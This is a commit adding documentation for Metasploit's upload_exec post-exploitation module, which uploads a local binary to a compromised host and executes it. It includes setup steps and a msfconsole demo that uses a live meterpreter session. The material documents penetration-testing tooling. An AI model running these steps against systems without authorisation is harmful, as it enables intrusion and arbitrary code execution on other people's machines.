Add doc for upload_exec
parent
84dd5cd01a
commit
8c463ab570
|
@ -0,0 +1,68 @@
|
|||
This module allows you to upload a binary file, and automatically execute it.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The following platforms are supported:
|
||||
|
||||
|
||||
* Windows
|
||||
* Linux
|
||||
* OS X
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Prepare for an executable file you wish to upload and execute.
|
||||
2. Obtain a session from the target machine.
|
||||
3. In msfconsole, do ```use post/multi/manage/upload_exec```
|
||||
4. Set the ```LFILE``` option
|
||||
5. Set the ```RFILE``` option
|
||||
6. Set the ```SESSION``` option
|
||||
7. ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**LFILE**
|
||||
|
||||
The file on your machine that you want to upload to the target machine.
|
||||
|
||||
**RFILE**
|
||||
|
||||
The file path on the target machine. This defaults to LFILE.
|
||||
|
||||
## Demo
|
||||
|
||||
```
|
||||
msf > use post/multi/manage/upload_exec
|
||||
msf post(upload_exec) > show options
|
||||
|
||||
Module options (post/multi/manage/upload_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LFILE yes Local file to upload and execute
|
||||
RFILE no Name of file on target (default is basename of LFILE)
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
msf post(upload_exec) > set lfile /tmp/
|
||||
lfile => /tmp/
|
||||
msf post(upload_exec) > set lfile /tmp/msg.exe
|
||||
lfile => /tmp/msg.exe
|
||||
msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe
|
||||
rfile => C:\Users\sinn3r\Desktop\msg.exe
|
||||
msf post(upload_exec) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149)
|
||||
|
||||
msf post(upload_exec) > set session 1
|
||||
session => 1
|
||||
|
||||
msf post(upload_exec) > run
|
||||
|
||||
[-] Post interrupted by the console user
|
||||
[*] Post module execution completed
|
||||
```
|
Loading…
Reference in New Issue